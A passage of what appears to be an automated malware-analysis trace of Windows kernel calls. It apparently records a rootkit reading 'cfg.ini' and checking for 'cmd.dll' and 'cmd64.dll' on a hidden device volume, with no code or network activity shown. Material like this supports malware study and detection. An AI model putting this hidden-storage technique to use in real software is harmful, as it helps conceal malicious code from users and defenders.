_Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.758] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.758] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.758] KeLeaveCriticalRegion () [0121.758] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.758] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.758] KeEnterCriticalRegion () [0121.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.758] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.759] KeLeaveCriticalRegion () [0121.759] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.759] KeEnterCriticalRegion () [0121.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.759] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.759] IdePortDispatch () returned 0x103 [0121.759] KeWaitForMutexObject () returned 0x0 [0121.759] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.759] KeLeaveCriticalRegion () [0121.759] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.759] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.759] KeEnterCriticalRegion () [0121.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.759] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc9000 [0121.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.759] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.759] IdePortDispatch () returned 0x103 [0121.759] KeWaitForMutexObject () returned 0x0 [0121.759] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.759] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.759] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.759] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.759] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.759] IdePortDispatch () returned 0x103 [0121.760] KeWaitForMutexObject () returned 0x0 [0121.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.760] KeLeaveCriticalRegion () [0121.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.760] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.760] KeEnterCriticalRegion () [0121.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.760] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.760] KeLeaveCriticalRegion () [0121.760] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.760] KeEnterCriticalRegion () [0121.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.760] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.761] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc67d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.761] KeLeaveCriticalRegion () [0121.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.761] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.761] KeEnterCriticalRegion () [0121.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.761] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.761] KeLeaveCriticalRegion () [0121.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.761] ReleaseMutex (hMutex=0xf0) returned 1 [0121.761] Sleep (dwMilliseconds=0x124f80) [0121.774] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.774] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.774] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.774] KeEnterCriticalRegion () [0121.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.774] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.775] IdePortDispatch () returned 0x103 [0121.775] KeWaitForMutexObject () returned 0x0 [0121.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.775] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.775] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.775] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.775] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.775] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6dc0 [0121.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.775] KeLeaveCriticalRegion () [0121.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.775] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.775] KeEnterCriticalRegion () [0121.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.775] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.775] KeLeaveCriticalRegion () [0121.775] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.775] KeEnterCriticalRegion () [0121.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.775] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.775] IdePortDispatch () returned 0x103 [0121.775] KeWaitForMutexObject () returned 0x0 [0121.775] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.775] KeLeaveCriticalRegion () [0121.775] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.776] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.776] KeEnterCriticalRegion () [0121.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.776] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bce000 [0121.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.776] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.776] IdePortDispatch () returned 0x103 [0121.776] KeWaitForMutexObject () returned 0x0 [0121.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.776] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.776] IdePortDispatch () returned 0x103 [0121.776] KeWaitForMutexObject () returned 0x0 [0121.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.776] KeLeaveCriticalRegion () [0121.776] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.777] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.777] KeEnterCriticalRegion () [0121.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.777] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.777] KeLeaveCriticalRegion () [0121.777] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.777] KeEnterCriticalRegion () [0121.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.777] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.777] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6e80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.777] KeLeaveCriticalRegion () [0121.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.777] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.777] KeEnterCriticalRegion () [0121.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.778] ExFreePoolWithTag (P=0xfffffa8003bc6dc0, Tag=0x0) [0121.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.778] KeLeaveCriticalRegion () [0121.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.778] ReleaseMutex (hMutex=0xf0) returned 1 [0121.778] Sleep (dwMilliseconds=0x124f80) [0121.792] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.792] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.792] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.792] KeEnterCriticalRegion () [0121.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.792] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.792] IdePortDispatch () returned 0x103 [0121.792] KeWaitForMutexObject () returned 0x0 [0121.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.792] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.792] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.792] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.792] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.792] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.792] KeLeaveCriticalRegion () [0121.792] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.792] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.792] KeEnterCriticalRegion () [0121.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.792] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.792] KeLeaveCriticalRegion () [0121.792] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.792] KeEnterCriticalRegion () [0121.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.793] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.793] IdePortDispatch () returned 0x103 [0121.793] KeWaitForMutexObject () returned 0x0 [0121.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.793] KeLeaveCriticalRegion () [0121.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.793] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.793] KeEnterCriticalRegion () [0121.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.793] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd3000 [0121.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.793] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.793] IdePortDispatch () returned 0x103 [0121.793] KeWaitForMutexObject () returned 0x0 [0121.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.793] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.793] IdePortDispatch () returned 0x103 [0121.793] KeWaitForMutexObject () returned 0x0 [0121.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.794] KeLeaveCriticalRegion () [0121.794] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.794] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.794] KeEnterCriticalRegion () [0121.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.794] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.794] KeLeaveCriticalRegion () [0121.794] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.794] KeEnterCriticalRegion () [0121.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.794] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.794] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6170, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.794] KeLeaveCriticalRegion () [0121.794] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.794] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.794] KeEnterCriticalRegion () [0121.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.794] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.794] KeLeaveCriticalRegion () [0121.794] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.794] ReleaseMutex (hMutex=0xf0) returned 1 [0121.795] Sleep (dwMilliseconds=0x124f80) [0121.810] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.810] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.810] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.810] KeEnterCriticalRegion () [0121.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.810] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.810] IdePortDispatch () returned 0x103 [0121.810] KeWaitForMutexObject () returned 0x0 [0121.810] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.810] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.810] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.810] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.810] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.810] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc60b0 [0121.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.810] KeLeaveCriticalRegion () [0121.810] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.810] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.810] KeEnterCriticalRegion () [0121.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.811] KeLeaveCriticalRegion () [0121.811] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.811] KeEnterCriticalRegion () [0121.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.811] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.811] IdePortDispatch () returned 0x103 [0121.811] KeWaitForMutexObject () returned 0x0 [0121.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.811] KeLeaveCriticalRegion () [0121.811] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.811] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.811] KeEnterCriticalRegion () [0121.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.811] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, 